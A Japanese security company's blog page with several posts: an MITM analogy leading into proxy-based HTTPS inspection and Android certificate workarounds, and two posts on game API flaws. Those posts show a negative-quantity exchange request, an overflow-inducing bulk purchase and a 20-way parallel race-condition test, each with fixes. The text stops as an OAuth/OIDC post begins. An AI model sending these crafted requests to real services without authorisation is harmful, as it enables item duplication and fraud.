Sterra Security Tech Blog

株式会社ステラセキュリティの公式技術ブログ

しゃぶ葉のテーブルで学ぶMITM 〜届かなかった六穀豚が教えてくれた通信暗号化の大切さ〜

代表の小竹(aka tkmru)です。

先日のしゃぶ葉での出来事です。キッチンから私の席へ運ばれてくるはずの六穀豚が、配膳ロボの移動中にいつの間にか別のテーブルの人に取られていた——

配膳ロボはプログラムされたルートに従って順番にテーブルを巡回するため、私のテーブルにたどり着くまでに他の客席の横をいくつも通過します。そして、ロボには「今まさに皿に手を伸ばしているのが正しい宛先の客か」を確認する手段がありません。

最終的には店員さんに事情を説明し、改めて豚肉を持ってきていただくことで事なきを得ました。通信で言えば「パケットがロストしたので再送してもらった」状態であり、本来は不要だったコスト(追加の調理・配膳)と時間が発生したことになります。

もちろん、通信におけるMITMでより問題になるのは、単に届かないことだけではありません。経路上の第三者が中身を見たり、別の内容にすり替えたりできてしまう点にあります。

これはもちろん実際のセキュリティインシデントではありません。しかし、セキュリティエンジニアの目で見れば、MITM(Man-in-the-Middle:中間者攻撃)を説明する題材になります。本稿では、この身近な出来事を通じて、通信経路における暗号化の必要性と、私たちが業務で日々向き合っている「合意の上でのMITM」について整理していきます。

⚠️ 本稿はしゃぶ葉を題材にした比喩表現です。実在のオペレーションに問題があるという主張ではありません。

事件の構造をネットワーク的に読み解く

今回の事件における登場人物を、ネットワーク通信に対応付けてみます。

しゃぶ葉の世界 ネットワークの世界
キッチン サーバ
客席 クライアント
配膳ロボの巡回経路 ネットワーク経路
パケット
六穀豚(肉そのもの) ペイロード(平文データ)
経路上のテーブルで皿を奪う客 中間者

ポイントは、配膳ロボが複数のテーブルを順に通過する という点です。平文で「剥き出しの肉」を運んでいれば、経路上のどのテーブルの客でも中身を見ることも、持ち去ることも、別の安い肉にすり替えることもできてしまいます。これが、HTTPのような平文通信において、経路上の攻撃者や同一ネットワーク上の攻撃者が盗聴・改ざんできてしまう問題の本質です。

ネットワーク的に言えば、これは暗号化されていない共有メディア(古いハブ接続のLANや、暗号化なしのWi-Fi)上を流れるパケットに近い状況です。実際の攻撃では、ARP SpoofingやDNS Spoofing、悪意あるプロキシなどによって、攻撃者が通信経路に割り込むケースもあります。

MITMとは何か

MITMは、通信する二者の間に攻撃者が割り込み、やり取りを盗聴・改ざん・なりすましする攻撃の総称です。代表的な手法を以下に挙げます。

  • ARP Spoofing: LAN内で「このIPアドレスに対応するMACアドレスは自分」と偽装し、トラフィックを自分に引き込む手法
  • DNS Spoofing / Cache Poisoning: 名前解決結果を偽装し、偽サーバへ誘導する手法
  • Rogue AP(野良アクセスポイント): 正規のフリーWi-Fiを装い、通信を中継しながら傍受する手法

しゃぶ葉の例で言えば、最も単純なのは「配膳ロボが自分のテーブルの横を通る瞬間に、堂々と皿を取ってしまう」というパターンで、これは暗号化されていない共有ネットワークでの盗聴に相当します。さらに「自分のテーブル番号が正しい宛先だ」と配膳ロボを誤認させればARP Spoofing風、偽の配膳ロボを用意して注文を受け取ってしまえばRogue AP風、といった具合に、さまざまな攻撃パターンに対応付けられます。

なぜ暗号化が必要か

ペイロードを剥き出しのまま運ぶ(= 平文通信)ことには、3つのリスクが伴います。

  1. 盗聴 (Eavesdropping): 経路上の誰でも中身を見ることができる
  2. 改ざん (Tampering): 六穀豚が豚バラ肉にすり替えられても気づけない
  3. なりすまし (Impersonation): そもそも本物のキッチンから来たかどうかが分からない

これらのうち、通信内容の秘匿、改ざん検知、接続先サーバの認証を担保する仕組みがTLS(Transport Layer Security)です。

TLSが提供する2つの「蓋」

暗号化という蓋付きの皿

TLSハンドシェイクで交換された鍵を使い、通信内容を暗号化します。経路上で覗き見られても、中身は意味のないバイト列にしか見えません。また、これらの暗号方式は改ざん検知も兼ねており、途中で内容が書き換えられれば受信側で気付くことができます。

証明書による本人確認

証明書とPKIにより、「この皿を送ってきたのは本物のしゃぶ葉のキッチンか」を検証できます。認証局 (CA) という信頼できる第三者が、キッチンに対して「このキッチンは本物です」と示す身分証を発行しているイメージです。

さらなる防御層

実務では、次の施策が実施されることもあります。

  • HSTS (HTTP Strict Transport Security): 「このお店では必ず蓋付きの皿で運ぶ」とブラウザに強制し、HTTPでの接続にフォールバックさせない
  • Certificate Pinning: 「この身分証を持つキッチン以外は信用しない」と決め、アプリ側で接続先の証明書や公開鍵を固定する

業務における「合意の上でのMITM」— ローカルプロキシを用いた診断

ここまで「MITMは防ぐべき攻撃」として説明してきましたが、MITMは 正当な目的で意図的に実施される 場面もあります。その代表が、脆弱性診断やペネトレーションテストで用いられるローカルプロキシツール(Burp Suiteなど)です。

なぜローカルプロキシを挟むのか

診断では、クライアントとサーバ間のHTTPS通信を詳細に観察・操作する必要があります。具体的には以下のような目的です。

  • リクエスト/レスポンスの構造把握
  • パラメータ改ざんによる認可制御の検証
  • 想定外の値の入力による入力検証不備の検出
  • APIエンドポイントの網羅的な列挙

ただし、TLSで暗号化された通信はそのままでは読めません。そこで使うのが「プロキシ独自のCA証明書をデバイスに信頼させる」という手法です。

証明書インストールによるTLS復号の仕組み

  1. Burp Suite等のプロキシが、独自のルートCA証明書を生成します
  2. そのCA証明書を、診断対象デバイス(PC、スマートフォン)の信頼されたルート証明書ストアにインストールします
  3. プロキシ経由の通信では、プロキシが対象ドメイン用のサーバ証明書をオンザフライで生成します
  4. デバイスは「信頼するCAが署名している」と認識し、プロキシとのTLSを確立します
  5. プロキシは復号後の平文を取得し、必要に応じて内容を確認・変更したうえでサーバへ転送します。サーバとの間では、プロキシが別途TLSを確立します

自分が管理するデバイスに、自分の意思でCAをインストールするため、許可された診断範囲内で実施される正当な通信解析として扱われます。六穀豚で言えば、お店の許可を得て配膳ロボの経路に立ち会わせてもらい、皿の中身をチェックしている、という状態です。

スマホアプリ診断で立ちはだかる壁

スマホアプリの場合、この手法への対策が一歩進んでおり、診断側にもより高度な技術が求められます。

ひとつめの壁が Android Network Security Configです。Android 7.0以降のアプリでは、デフォルトでユーザーが追加したCAを信頼しません。そのため、端末にプロキシのCA証明書を入れただけではHTTPS通信を復号できないケースがあります。

これに対処するため、弊社では apkutil というOSSを公開しています。apkutil は対象APKをデコードし、AndroidManifest.xmlnetworkSecurityConfig 属性を追加した上で、ユーザCAを信頼する network_security_config.xml を埋め込み、再ビルド・再署名までを一括で行うツールです。これにより、診断対象アプリにプロキシのCA証明書を信頼させ、HTTPS通信の解析が可能な状態に整えられます。

github.com

ふたつめの壁がCertificate Pinningです。アプリ側で正規証明書や公開鍵を固定し、プロキシが生成した代替証明書を拒否する仕組みで、ネットワーク設定の書き換えだけでは突破できません。アプリ自身が証明書検証を行う実装に対しては、ランタイムフックやバイナリにパッチを当てるといった追加の手段が必要になります。Webアプリ診断と比べて、診断のために越えるべきハードルが多い領域だと言えます。

本当のリスクは暗号化のその先に

通信の暗号化は必要条件であって十分条件ではありません。たとえば、暗号化していてもアプリ自体のロジックに認可制御の不備があれば、攻撃者はTLSで保護された通信の中で堂々と他人のデータを持ち去れます。Certificate Pinningを実装しても、クライアント側で無効化するパッチを当てることで迂回される可能性も残ります。 つまり、実装されたロジックによる脆弱性を人の目で探す作業が欠かせません。

おわりに

六穀豚が届かなかった体験は、暗号化の必要性を身をもって教えてくれました。そしてセキュリティエンジニアが脆弱性診断業務で日々行っているのは、プロキシ経由の「合意の上でのMITM」を通じ、攻撃者より先に弱点を見つけ出すことです。

なお弊社ステラセキュリティでは、本稿で紹介したようなプロキシを用いた手動診断に重きを置いた、Webアプリ・スマホアプリ・LLMアプリ・プラットフォームを対象にした脆弱性診断サービスを提供しています。認可制御やビジネスロジック、アーキテクチャ固有の脆弱性までしっかり検証したい方はお気軽にご相談ください。

配送される肉の行方には気を配りつつ、自社サービスに対しては脆弱性診断という形で目を光らせることをおすすめします。

「マイナス10個あげます」でアイテムが増えるゲーム ― 数値バリデーションの落とし穴2選

代表の小竹(aka tkmru)です。

本記事は、先日公開した 「1日1回限定のガチャ」を20連できてしまう ― ゲームAPIで頻出するTOCTOU脆弱性と対策 に続く、ゲームAPIの脆弱性シリーズの第2弾です。

tech-blog.sterrasec.com

元ネタは、2026年3月19日に開催された勉強会「TECH BATON in 東京 〜ゲームアンチチートに学ぶ セキュリティ設計と攻防の舞台裏〜」での登壇「10分で知る ゲームが『チートされる』仕組み 〜通信・API・メモリから見る攻撃と防御〜」です(スライドは Speaker Deck で公開しています)。

前回は「同時並列リクエストで回数制限をすり抜ける」というレースコンディションの話でしたが、今回は入力値のバリデーションの話です。取り上げるのは次の2つです。

  • マイナス値を受け付けてしまい、減らすはずのアイテムが増えてしまう
  • 巨大な値を受け付けてしまい、整数オーバーフローで所持数が壊れる

いずれもゲーム固有の問題ではなく、決済・ポイント・在庫管理など数量を扱う Web アプリケーション全般で起こりうる典型的なバグです。 「型は検証しているから大丈夫」「エスケープしているから大丈夫」と思っている箇所ほど穴になりがちなので、Webアプリ開発に携わる方にも参考にしていただければと思います。

落とし穴1:マイナスの数量を送るとアイテムが増える

想定シナリオ ― アイテム交換 API

次のような仕様のAPIを例に考えます。

  • エンドポイント: アイテムAをN個渡して、代わりにアイテムBを受け取る交換 API
  • サーバは「ユーザの所持数からN個引く」「アイテムBを1個付与する」という処理を行う

Rails のコントローラで書くと、次のような流れになります。

# app/controllers/exchange_controller.rb
def create
  give_item_id = params[:give_item_id]
  give_count   = params[:give_count]

  current_user.items[give_item_id] -= give_count   # 渡す分を減らす
  current_user.items["item_b"]     += 1            # 代わりのアイテムを付与
  current_user.save!
end

一見、問題なさそうに見えます。しかし、この実装は give_count に負の値を送られると破綻します。

攻撃方法 ― 負の数量を送るだけ

攻撃者は、数量パラメータだけを負の値に書き換えて送信します。

POST /api/exchange
Content-Type: application/json

{ "give_item_id": "wood", "give_count": -10 }

サーバ側の処理を展開すると次のようになります。

current_user.items["wood"] -= (-10)
  ↓
current_user.items["wood"] += 10   # 減らすはずが、逆に10個増える

引き算の右辺が負の数なので、結果として足し算になってしまうという話です。おまけに「交換したアイテム」は通常通り1個もらえるので、攻撃者は木材(減るどころか増える)と 新たに手に入るアイテムを両方ゲットできてしまいます。

なぜ見落とされるのか

このバグは「型チェックだけで安心してしまう」ことに起因します。

  • give_count は整数型である ✓
  • JSON のパースも通っている ✓
  • SQL インジェクションの対策もしている ✓

型・構文レベルのバリデーションは通っているため、静的解析ツールや一般的な脆弱性スキャナでも検出されません。 「値がルール上ありえる範囲に収まっているか」はアプリケーションロジックでしか判断できない領域です。

ゲーム以外でも、

  • 送金 API で送金額にマイナスを送ると逆方向に送金される
  • EC サイトの返品処理で「返品数量」にマイナスを送ると購入扱いになる
  • ポイント交換 API で「消費ポイント」にマイナスを送るとポイントが増える

といった事例が考えられます。

対策 ― 値の範囲バリデーションを徹底する

対策はシンプルで、入力値の範囲を検証することです。Rails の Strong Parameters はマスアサインメント時に許可するパラメータを明示する仕組みなので、値の範囲の検証は別途実装する必要があります。

# app/controllers/exchange_controller.rb
def create
  give_count = params.require(:give_count)
  raise BadRequest, "give_count must be positive"    if give_count <= 0
  raise BadRequest, "insufficient items"             if give_count > current_user.items[params[:give_item_id]]
  raise BadRequest, "exceeds max exchange count"     if give_count > MAX_EXCHANGE_PER_REQUEST
  # ...
end

あるいは ActiveModel のバリデーションに寄せる方法もあります。

ポイントは3つです。入力値が仕様上ありえる範囲に収まっているかは、アプリケーション側で検証することが大切です。

  1. 下限チェック> 0)― マイナス値とゼロを弾く
  2. 所持数チェック<= 所持数)― 手持ちを超える消費を弾く
  3. 上限チェック<= MAX)― 次節の整数オーバーフロー対策にもなる

落とし穴2:巨大な値で整数オーバーフローを起こす

マイナス値のチェックを入れれば万事解決、とはいきません。今度は「上限を超える巨大な値」のケースを考えます。

整数オーバーフローとは

コンピュータが扱う整数のうち、固定長で表現される型には、型ごとに最大値があります。代表的なのは次のとおりです。

最大値
32bit 符号付き整数(int32 2,147,483,647(約21億)
64bit 符号付き整数(int64 9,223,372,036,854,775,807(約922京)

C、Java、Go などの固定長整数型を使う言語や、MySQL、PostgreSQL などの DB の整数型では、型ごとに表現できる範囲が決まっています。範囲を超える値を扱った場合の挙動は環境によって異なり、負の値への折り返し、例外、範囲外エラー、警告付きの丸め・切り詰めなどが発生し得ます。これが整数オーバーフローです。

int32 の最大値:     2,147,483,647
        + 1:       -2,147,483,648   ← 言語によっては負の数に折り返す
                                      (例:Java の int など。環境によっては例外や範囲外エラーになる)

一方、Ruby の Integer は固定長整数ではなく、実用上は大きな整数を扱えます。値が大きくなると内部的に多倍長整数として扱われるため、Ruby のコード内で計算する限りは折り返しが起きません。Ruby で固定長 int としてのオーバーフローを検出したい場合は、Integer#bit_length を使えます。

if n.bit_length < 32
  # int32 の範囲内
else
  raise "overflow"
end

ところがゲームAPIの実装でオーバーフローが顔を出すのは、Ruby のコードの中ではなく、それと連携する DB やクライアントなど「固定長 int 前提のシステム」と接する部分です。次の節で具体的に見ていきます。

攻撃方法 ― 購入数 × 単価でオーバーフローを起こす

ゲームには「素材アイテムをまとめ買いする」「マーケットにアイテムを大量出品する」「ガチャを10連・100連まとめて引く」など、「数量 × 単価」で合計金額を計算する処理が数多く存在します。乗算は加算と違って、1回のリクエストで値が桁違いに大きくなりうるため、攻撃者にとってオーバーフローを狙いやすい処理です。

ここでは、ゲーム内マーケットで高級アイテムをまとめ買いするケースを考えます。

POST /api/market/buy
{ "item_id": "rare_crystal", "count": 100000 }

サーバ側では、マスタデータから単価を引いて合計金額を計算し、所持ゴールドから差し引きます。

# app/controllers/market_controller.rb
def buy
  item  = ItemMaster.find(params[:item_id])   # 単価はサーバ側で引く
  count = params[:count]

  total_price = item.unit_price * count       # ← ここでオーバーフローの可能性
  current_user.gold -= total_price
  current_user.items[item.id] += count
  current_user.save!
end

一見、ユーザが操作できるのは count だけで、単価はサーバ側のマスタデータから取ってきているため安全に見えます。しかし、その countunit_price と掛け合わされた結果、オーバーフローの余地が生まれます。

具体的に見てみます。rare_crystal の単価が30,000ゴールド、現在の所持ゴールドが10億あるユーザが、count: 100000(10万個)を送ったとします。

total_price = 30_000 * 100_000   # => 3_000_000_000(30億)

ここで重要なのは、Ruby の Integer は固定長整数ではなく、実用上は大きな整数を扱えるということです。30億という値は Ruby の中ではそのまま正しく扱われ、勝手に負の値に折り返したりはしません。

ではどこで問題になるかというと、この値を DB に保存する瞬間です。gold カラムが MySQL の INT(符号付き32bit、上限 約21億)で定義されていた場合、

current_user.gold -= total_price   # 10億 - 30億 = -20億
current_user.save!

-2_000_000_000INT の下限(約-21億)に近づき、もう少し大きな取引をされた途端に ActiveRecord::RangeError が発生してリクエストが500エラーで落ちます。Rails の API ドキュメントでも「DB に渡す値が範囲外の場合」に発生するエラーとして定義されています。unsigned を使っていれば、そもそも負の値を保存できずに同じく例外になります。

Ruby 側で計算済みの値を代入するのではなく、DB 上で直接演算するパターンも考えられます。たとえば次のような書き方を考えます。

# DB側で直接演算する例
User.where(id: current_user.id)
    .update_all(["gold = gold - ?", total_price])
# ↓ 実際に発行されるSQL
# UPDATE users SET gold = gold - 3000000000 WHERE id = ?

このとき、右辺の gold - 3000000000 は DB 側で実行されます。MySQL の INT(符号付き4バイト、-21474836482147483647)や PostgreSQL の integer 型では、許容範囲を超える値の保存はエラーになります。MySQL では設定によって桁落ちが起きることもあります。Ruby 側では何も問題が起きていないのに、DB側で計算が壊れるのがこのケースの特徴です。

攻撃者から見れば、正常系では絶対に到達しない巨大な値を1リクエストで作り出せること自体が問題です。サービス停止に追い込めるだけでなく、エラー処理の不備と組み合わさって所持金や所持アイテムの不整合を引き起こすことも考えられます。

レベルが上がると発動する時限爆弾

このバグの厄介な点は、ゲームの初期状態では起きないことです。登録したばかりのユーザは、

  • 所持ゴールドは数百〜数千
  • 高級アイテムを10万個も買える資金力はない
  • そもそも単価の高いアイテムがアンロックされていない

という状態なので、開発時のテストプレイでもまず発動しません。しかし運用を続けるうちに、

  • プレイヤーのレベルが上がる → 高レベル帯向けの高単価アイテムが出現する
  • インフレが進む → 所持ゴールドやアイテム価格が桁違いに膨らむ
  • 周年イベントやキャンペーン → 取引可能な数量の上限が一時的に緩和される
  • 新規実装のまとめ買い機能 → それまで1個ずつ買うしかなかったアイテムが大量購入可能に

といった変化が重なって、オーバーフローの条件が揃います。「今まで動いていたから大丈夫」という思い込みが一番危険です。

Webアプリ全般でも起こりうる

同じ構造の問題はゲーム以外でも珍しくありません。 「江南スタイル」が流行した際、YouTube の再生数カウンタが int32 の上限(約21億)に達する見込みとなり、int64 に拡張された話は有名です。

www.bbc.com

「数量 × 単価」「数量 × 期間」のような乗算が絡む合計値は、注意が必要な箇所だと覚えておきましょう。

対策 ― 上限チェックと型の見直し

① 入力値の上限チェック

MAX_BUY_COUNT = 10_000  # 1リクエストで購入できる上限

count = params.require(:count)
raise BadRequest, "count must be positive"            if count <= 0
raise BadRequest, "count must be <= #{MAX_BUY_COUNT}" if count > MAX_BUY_COUNT

「1リクエストで1万個まで」のような上限を設けることで、想定範囲を超える入力値によるリスクを下げられます。ただし、単価や現在値との組み合わせによっては計算結果が型の範囲を超える可能性があるため、入力値だけでなく計算結果も検証する必要があります。

② 計算結果が DB の型に収まるかチェック

「購入数 × 単価」のような乗算の結果や、それを保存先カラムから差し引いた更新後の値が、保存先カラムの型の範囲に収まるかを Ruby 側で明示的に検証します。Ruby 自体はオーバーフローしないので、検証の目的は「DB側で RangeError や桁落ちを起こさせないこと」です。

INT32_MIN = -(2**31)
INT32_MAX = 2**31 - 1

total_price = item.unit_price * count
new_gold    = current_user.gold - total_price

# gold カラムは MySQL の INT(符号付き32bit)想定
raise BadRequest, "total price out of range" unless total_price.between?(0, INT32_MAX)
raise BadRequest, "insufficient gold"        if current_user.gold < total_price
raise BadRequest, "gold out of range"        unless new_gold.between?(INT32_MIN, INT32_MAX)

current_user.gold = new_gold
current_user.items[item.id] += count
current_user.save!

ポイントは、入力値そのものや乗算の中間結果だけでなく、最終的に保存される値(ここでは new_gold)まで型の範囲に収まるかを確認することです。total_priceINT 範囲内でも、ユーザがすでに持っている所持ゴールドとの引き算でカラム範囲を超えるケースは普通に起こりえます。

なお、Ruby 公式ドキュメントでは固定長 int 範囲の検出に Integer#bit_length を使うパターンも紹介されています。new_gold.bit_length < 32 のように書けば符号ビットを除いた有効ビット数で判定できますが、コードの読みやすさという点では between? のほうが意図が伝わりやすいでしょう。

加えて、DB 上で直接演算する書き方(update_all で SQL 片を渡すなど)を使う場合は、Ruby 側のチェックを通り抜けて DB にそのまま値が渡ることに注意が必要です。アプリ側で計算結果を確定させてから保存するか、あるいは DB のカラム型自体を後述の BIGINT に広げる対応が必要になります。

なお、固定長 int の制約は DB だけの話ではありません。Redis や Memcached のカウンタ操作、C 拡張ライブラリ、JSON で受け取るクライアント(Unity の int は32bit)、外部の決済・分析 SaaS への連携など、Rails アプリの外側に値を渡す境界では同様の問題が発生しえます。「Ruby 側で大きな値が作れてしまう」こと自体が、これら外部システムを巻き込んだ不具合の起点になります。

③ 型を BIGINT にする

設計段階から「所持数・残高・累計値など、時間とともに増えうる数値」は BIGINT(符号付き64bit)を採用するのが無難です。Rails のマイグレーションでは t.bigint :coin_amount のように指定できます。INT を節約する意味は今の時代ほぼありません。「この値はどこまで大きくなりうるか」を設計時に見積もるのが根本的な対策になります。

まとめ

本記事では、ゲームAPIで頻出する数値バリデーションの落とし穴として、

  1. マイナス値を受け付けることで、減算が加算に化けるバグ
  2. 巨大な値による整数オーバーフローで、所持数・残高が壊れるバグ

の2つを紹介しました。

どちらもゲーム特有の問題ではなく、数量を扱うWeb API全般で繰り返し起きている脆弱性です。「型は整数型で宣言してある」「SQL インジェクション対策はしてある」だけでは防げません。

チェックリストとしては次の4点を押さえておくと安全です。

  • 下限チェック(購入数・交換数・消費数などは原則 > 0
  • 上限チェック(ビジネスロジック上の最大値)
  • 乗算・加算の結果が DB カラムの型の範囲に収まるか
  • DB カラムの型は十分大きいか

診断・コードレビューの際には、「この数値パラメータにマイナスを送ったらどうなるか」「DB のカラム型を超える巨大な値(例:int32 カラムなら 2**31 - 1 付近、乗算が絡むなら 10万や100万)を送ったらどうなるか」を必ず試すことをおすすめします。

登壇スライドでは本記事で扱った内容以外にも、

  • 同時並列リクエストで回数制限を突破する TOCTOU脆弱性(前回記事
  • HTTPS ペイロードのさらなる暗号化と鍵の保護
  • ガチャ ID とアイテム ID の整合性欠如による課金アイテムの不正取得
  • /proc/<pid>/mem を用いた Android のメモリ改ざんと対策

など、ゲーム特有のセキュリティトピックを扱っています。興味があれば公開スライドもあわせてご覧ください。

ゲームAPIの脆弱性は、ゲームの仕様やビジネスロジックを踏まえて攻撃者視点でレビューしないと見つかりにくいものが大半です。一般的な Web アプリケーション向けの脆弱性診断だけではカバーしきれず、「リリース後しばらくしてから被害が表面化する」「SNS でチート動画が拡散してから気づく」といった形で顕在化することも珍しくありません。

弊社では、長年ゲーム業界のアンチチートに携わってきた知見をもとに、チート対策支援サービスを提供しています。サーバAPIの脆弱性診断、クライアントの難読化・改ざん検知、通信ペイロードの暗号化設計、リリース前のチート耐性レビューなど、ゲームタイトルのフェーズに応じたご支援が可能です。

「診断は受けたが、ゲーム特有のロジックまでは見てもらえなかった」「リリースが近いので、チート耐性を一度棚卸ししたい」といったご相談がありましたら、お気軽にお問い合わせください。

「1日1回限定のガチャ」を20連できてしまう ― ゲームAPIで頻出するTOCTOUとその対策

代表の小竹(aka tkmru)です。

2026年3月19日に開催された勉強会「TECH BATON in 東京 〜ゲームアンチチートに学ぶ セキュリティ設計と攻防の舞台裏 〜 - connpass」にて、「10分で知る ゲームが『チートされる』仕組み 〜通信・API・メモリから見る攻撃と防御〜」というタイトルで発表しました。スライドは Speaker Deck で公開しています。

speakerdeck.com

本記事では、登壇内容のうち「ゲームサーバにおける API の脆弱性」のパートから、特にゲームアプリでよく見かける TOCTOU(Time of Check to Time of Use)という脆弱性に絞って解説します。

TOCTOU は厳密にはゲーム特有の脆弱性ではありません。一般的な Web アプリケーションや OS レベルの処理でも発生しうる古典的な競合状態の問題です。しかし、ゲームには「1日1回限定ガチャ」「イベント期間中 N 回まで受け取れる報酬」「スタミナ消費」など、回数制限を前提とした機能が多いため、TOCTOU が起きやすい箇所も多く、実際の脆弱性診断でもよく見つかります。

想定シナリオ ― 1日1回限定のガチャ API

次のような仕様の API を例に考えます。

  • エンドポイント: 1日1回だけ引ける限定ガチャ
  • サーバは「ユーザごとの残り回数」を DB に保持
  • ガチャを引くたびに残回数を1減らす

ごく素朴にサーバ側の処理を書くと、以下のような流れになります。

  1. DB から残回数を読む
  2. 残回数 > 0 ならガチャを実行し、報酬を付与する
  3. 残回数を1減らして DB に書き戻す

一見、問題なさそうに見えます。しかし、この実装は 同時に複数のリクエストを送られると破綻します

攻撃方法 ― 同時並列リクエスト

攻撃者は単純に、同じ API に対して複数のリクエストをほぼ同時に並行送信します。curl を並列実行する、Burp Suite の Turbo Intruder などのツールを使う、といった方法で簡単に再現できます。

ゲームの脆弱性診断の現場で特に便利なのが、DeNA が OSS として公開している PacketProxysend x 20ボタンです。PacketProxy は HTTP/HTTPS だけでなく TCP/UDP 上の任意のプロトコル(ゲーム独自の暗号化通信プロトコルを含む)に対応したローカルプロキシツールで、捕捉したリクエストをsend x 20 ボタンひとつで 同一リクエストを20個まとめて同時に送信できます。まさに TOCTOU のような競合状態の検証のために用意された機能で、README でも「同期・ロック不備に起因する race condition や不整合状態のテスト」が用途として挙げられています。

github.com

診断時のワークフローは概ね以下のようになります。

  1. 対象 API(例: ガチャ、交換所、クーポン利用)のリクエストを PacketProxy で捕捉する
  2. ペイロードを必要に応じて書き換える(ユーザー入力値などの調整)
  3. send x 20 ボタンを押して一斉送信する
  4. サーバのレスポンスおよび DB の状態(所持数・残回数など)を確認する

単一リクエストでは正常に弾かれる回数制限が、x20 送信では抜けてしまうことが確認できたら TOCTOU が起きていると判断できます。PacketProxyでは、ゲーム独自のバイナリプロトコルでも Encode Module を実装すれば同様に扱えるため、「HTTPS の内側をさらに独自暗号化しているモバイルゲーム」のような題材でも応用が効きます。

なぜ同時に送ると危ないのか

ひとことで言うと、2つのリクエストが、どちらも「まだ1回残っている」と勘違いしたまま処理を進めてしまう からです。

片方が「使った」と DB に書き戻す前に、もう片方が DB を読みにいくと、古い「残り1回」という値がそのまま見えてしまいます。どちらのリクエストも自分が正当だと信じてガチャを実行するので、結果として1回の権利で2回引けてしまいます。

図にすると次のようになります。

時刻  リクエストA              リクエストB
 │
 │    残回数を読む(1)
 │                            残回数を読む(1)   ← Aの更新前に読んでしまう
 │    ガチャ実行
 │    残回数を0に更新
 │                            ガチャ実行
 ▼                            残回数を0に更新

リクエスト A が残回数を 0 に書き戻す前に、リクエスト B も「残り1回」と読んでしまうため、本来1回しか引けないはずのガチャが2回(並列数を増やせば N 回)引けてしまいます。

この問題の名前 ― TOCTOU

この種の問題にはTOCTOU(Time of Check to Time of Use)という名前が付いています。発音は「トックトゥー」のようです。

「値を確認(Check)してから、その値を使う(Use)までの間に状態が変わってしまう」ことに起因する不具合の総称です。OS のファイルシステムに対する攻撃(シンボリックリンク競合など)で有名ですが、Web API における「残数チェック → 更新」の処理でも全く同じ構造で発生します。

ゲーム以外でも、

  • EC サイトの在庫管理(購入個数に制限があるもの、在庫1の商品など)
  • ポイント消費・残高からの引き落とし
  • クーポン・シリアルコードの利用(使用済みフラグを立てる前に複数回使われる)

など、「残数を見てから減らす」処理全般で起こり得ます。冒頭でも触れたとおり、ゲーム固有の問題ではないものの、回数制限のある機能が多いゲームでは特に頻出するのが実情です。ガチャ、デイリーミッション報酬受け取り、イベントの交換所、スタミナ回復アイテムの使用など、開発者が「このエンドポイントは回数制限で守られているから大丈夫」と思い込んでいる箇所ほど穴になりがちです。

対策 ― 悲観的ロックで DB 側に整合性を寄せる

アプリケーションコードで頑張って排他制御しようとすると、ロジックが複雑になるうえに抜け漏れが発生します。基本方針は 「DB 側で整合性を保証する」 ことです。

最もシンプルな対策は、RDB の 悲観的ロックSELECT ... FOR UPDATE)を使う方法です。悲観的ロックとは、他の処理が同じ行を同時に触れないよう、一時的に順番待ちにする仕組みだと思ってください。

BEGIN;

SELECT remaining
FROM   gacha_limit
WHERE  user_id = ?
FOR UPDATE;   -- 他のリクエストはここで待たされる

-- 残回数チェック & ガチャ実行 & 残回数の更新を一連の処理として実施

COMMIT;

BEGINCOMMIT で囲まれた範囲は トランザクション(途中で失敗したら全部なかったことにできる、ひとまとまりの処理の単位)と呼ばれます。FOR UPDATE を付けて該当行にロックを取ることで、同じユーザに対する他のリクエストはこのトランザクションが完了するまで待たされます。結果、「確認 → 使用」の間に別リクエストが割り込むことがなくなり、TOCTOU が成立しなくなります。

より軽量な代替として、条件付き UPDATE を先に実行し、影響行数で成否を判定する方式もあります。

UPDATE gacha_limit
SET    remaining = remaining - 1
WHERE  user_id = ?
  AND  remaining > 0;
-- affected_rows が 1 ならガチャ実行、0 なら残回数切れとして弾く

UPDATE 文自体は、DB が アトミックに(= 途中で他の処理が割り込めない、一まとまりの処理として)実行してくれます。そのため、同時に複数リクエストが飛んできても残回数を超えて成功することはありません。明示的なトランザクション管理が不要なぶんシンプルで、リトライや長いロック待ちも避けやすいため、ガチャのように短時間で高競合になるユースケースではこちらを採用するケースも多くあります。

ただしひとつ注意点があります。上の UPDATE 文だけでアトミックなのは「残回数を1減らす」処理そのものに限られます。実際のガチャ API では「残回数を1減らす」のあとに「報酬アイテムをユーザーに付与する」という処理が続くはずで、両者を合わせて初めて「1回ガチャを引いた」という一貫した状態になります。したがって、残回数の消費と報酬付与は同一トランザクションで行う、あるいは別システム・別テーブルを跨ぐ場合は同等の整合性設計(冪等なジョブキュー、補償トランザクションなど)で扱う ことが必要です。カウンタだけ先に減って報酬付与に失敗すると、ユーザーから見れば「引けていないのに回数だけ消えた」ということになり、サポート対応案件に直結します。

いずれの方式でも大事なのは、「アプリ側で読んでから書く」のではなく、「DB が持つアトミックな操作に任せる」ことです。「読み取り → アプリ側で判定 → 書き戻し」という流れを残している限り、TOCTOU の余地は消えません。

おわりに

TOCTOU はセキュリティ脆弱性として古くから知られた題材ですが、ゲーム API の文脈では今も実際に見つかりやすい脆弱性です。特に、イベントやキャンペーン期間中に追加される「○回まで」系の機能は、短い開発期間で実装されることが多く、排他制御が甘いまま本番投入されるケースをよく見かけます。

診断・レビューの際には、「残数を扱うエンドポイントで、同時並列で実行したら何が起きるか」をチェックリストに入れておくことをおすすめします。

登壇スライドでは本記事で扱った TOCTOU 以外にも、

  • HTTPS ペイロードのさらなる暗号化と鍵の保護
  • マイナス値を送ることで所持数が増えるバリデーション不備
  • ガチャ ID とアイテム ID の整合性欠如による課金アイテムの不正取得
  • /proc/<pid>/mem を用いた Android のメモリ改ざんと対策

など、ゲーム特有のセキュリティトピックを扱っています。興味があれば公開スライドもあわせてご覧ください。

その「ソーシャルログイン」は大丈夫?OAuth/OIDC実装の3つの落とし穴

代表の小竹(aka tkmru)です。

Googleでログイン」などのソーシャルログインは、今やWebサービスの標準機能です。 この機能は一般的に、認可の仕組みであるOAuthの上に、ユーザーの身元確認を行うためのOpenID Connect(OIDC)というプロトコルを重ねることで実現されています。

RFC 9700(Best Current Practice for OAuth 2.0 Security)およびIETFによって策定が進められている OAuth 2.1の登場により、推奨されている実装は変化しつつあります。

本題に入る前に、次のセルフチェックを試してみてください。

  • [ ] 認可コードフローにPKCEを適用しているか
  • [ ] IDトークンの aud (Audience)を検証し、「他サービス向けのトークン」を拒否しているか
  • [ ] nonce パラメータを送信するだけでなく、返却された値の一致検証をロジックとして実装しているか
  • [ ] ライブラリ任せにせず、許可する署名アルゴリズム(RS256等)を明示的に指定しているか

もし即答できない項目があれば、本記事が参考になるはずです。

1. 認可コード横取り攻撃とPKCE

